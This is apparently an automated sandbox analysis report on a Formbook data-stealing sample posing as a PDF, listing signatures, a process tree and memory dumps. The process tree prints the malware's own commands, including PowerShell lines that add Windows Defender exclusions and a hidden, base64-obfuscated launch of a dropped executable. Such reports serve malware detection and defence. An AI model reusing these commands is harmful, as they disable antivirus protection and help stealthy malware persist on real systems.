Analysis
- max time kernel
299s - max time network
303s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
05/09/2026, 05:48
General
- Target Doc001886_1308002341 Pdf.exe
- Size 1.1MB
- Sample260905-ghgsnaxeqa
- SHA256 21be8dfedf732b6e39b3d03eabffaaccfa41bbce665fc8c71524c4c0b406a44e
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 5 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
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C:\Users\Admin\AppData\Local\Temp\Doc001886_1308002341 Pdf.exe"C:\Users\Admin\AppData\Local\Temp\Doc001886_1308002341 Pdf.exe"2⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Doc001886_1308002341 Pdf.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$gjic4a=Get-Date;$z5z1ec=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$hzkomd=$env:COMPUTERNAME;$goptxo=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGVILmV4ZQ==')));$gjic4a=Get-Date;& $z5z1ec -FilePath $goptxo"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\eH.exe"C:\Users\Admin\AppData\Roaming\eH.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\eH.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\gpresult.exe"C:\Windows\SysWOW64\gpresult.exe"1⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"2⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_knu11men.b0h.ps1
eH.exe
memory/1452-68-0x000001F9E2ED0000-0x000001F9E2FEC000-memory.dmp
memory/1964-26-0x0000000005DB0000-0x0000000005DCE000-memory.dmp
memory/1964-46-0x0000000074970000-0x000000007512C000-memory.dmp
memory/1964-38-0x0000000007090000-0x00000000070B0000-memory.dmp
memory/1964-39-0x0000000007110000-0x00000000071B3000-memory.dmp
memory/1964-21-0x0000000005A30000-0x0000000005D8B000-memory.dmp
memory/1964-34-0x00000000070D0000-0x0000000007106000-memory.dmp
memory/1964-27-0x0000000006420000-0x000000000646C000-memory.dmp
memory/1964-11-0x00000000026B0000-0x00000000026E6000-memory.dmp
memory/1964-12-0x0000000074970000-0x000000007512C000-memory.dmp
memory/1964-13-0x0000000005290000-0x00000000058DA000-memory.dmp
memory/1964-14-0x0000000074970000-0x000000007512C000-memory.dmp
memory/1964-16-0x0000000074970000-0x000000007512C000-memory.dmp
memory/1964-41-0x0000000007250000-0x000000000726A000-memory.dmp
memory/1964-35-0x0000000075250000-0x000000007529C000-memory.dmp
memory/1964-20-0x00000000059C0000-0x0000000005A26000-memory.dmp
memory/1964-43-0x00000000074C0000-0x0000000007556000-memory.dmp
memory/1964-42-0x00000000072C0000-0x00000000072CA000-memory.dmp
memory/1964-19-0x0000000005950000-0x00000000059B6000-memory.dmp
memory/1964-18-0x0000000005210000-0x0000000005232000-memory.dmp
memory/1964-40-0x0000000007890000-0x0000000007F0C000-memory.dmp
memory/2096-54-0x0000000006290000-0x00000000065EB000-memory.dmp
memory/2096-56-0x0000000006940000-0x000000000698C000-memory.dmp
memory/2096-57-0x00000000712F0000-0x000000007133C000-memory.dmp
memory/2096-60-0x0000000007A20000-0x0000000007AC3000-memory.dmp
memory/2352-30-0x00000185E2330000-0x00000185E2352000-memory.dmp
memory/2632-50-0x0000000006250000-0x000000000630D000-memory.dmp
memory/2756-15-0x0000000000400000-0x0000000000446000-memory.dmp
memory/2756-31-0x0000000000E50000-0x0000000000E96000-memory.dmp
memory/2756-17-0x0000000000E50000-0x0000000000E96000-memory.dmp
memory/2756-48-0x0000000000E50000-0x0000000000E96000-memory.dmp
memory/2756-22-0x0000000001220000-0x0000000001594000-memory.dmp
memory/5408-49-0x0000000000370000-0x00000000003B3000-memory.dmp
memory/5408-47-0x0000000000370000-0x00000000003B3000-memory.dmp
memory/6076-5-0x0000000074970000-0x000000007512C000-memory.dmp
memory/6076-2-0x0000000005510000-0x0000000005ACA000-memory.dmp
memory/6076-3-0x0000000004F50000-0x0000000004FE2000-memory.dmp
memory/6076-25-0x0000000074970000-0x000000007512C000-memory.dmp
memory/6076-0-0x0000000074982000-0x0000000074983000-memory.dmp
memory/6076-4-0x0000000004F10000-0x0000000004F1A000-memory.dmp
memory/6076-10-0x0000000008BC0000-0x0000000008CAA000-memory.dmp
memory/6076-9-0x0000000074970000-0x000000007512C000-memory.dmp
memory/6076-8-0x0000000074982000-0x0000000074983000-memory.dmp
memory/6076-7-0x00000000054C0000-0x00000000054DE000-memory.dmp
memory/6076-6-0x00000000050F0000-0x000000000518C000-memory.dmp
memory/6076-1-0x00000000002E0000-0x00000000003F4000-memory.dmp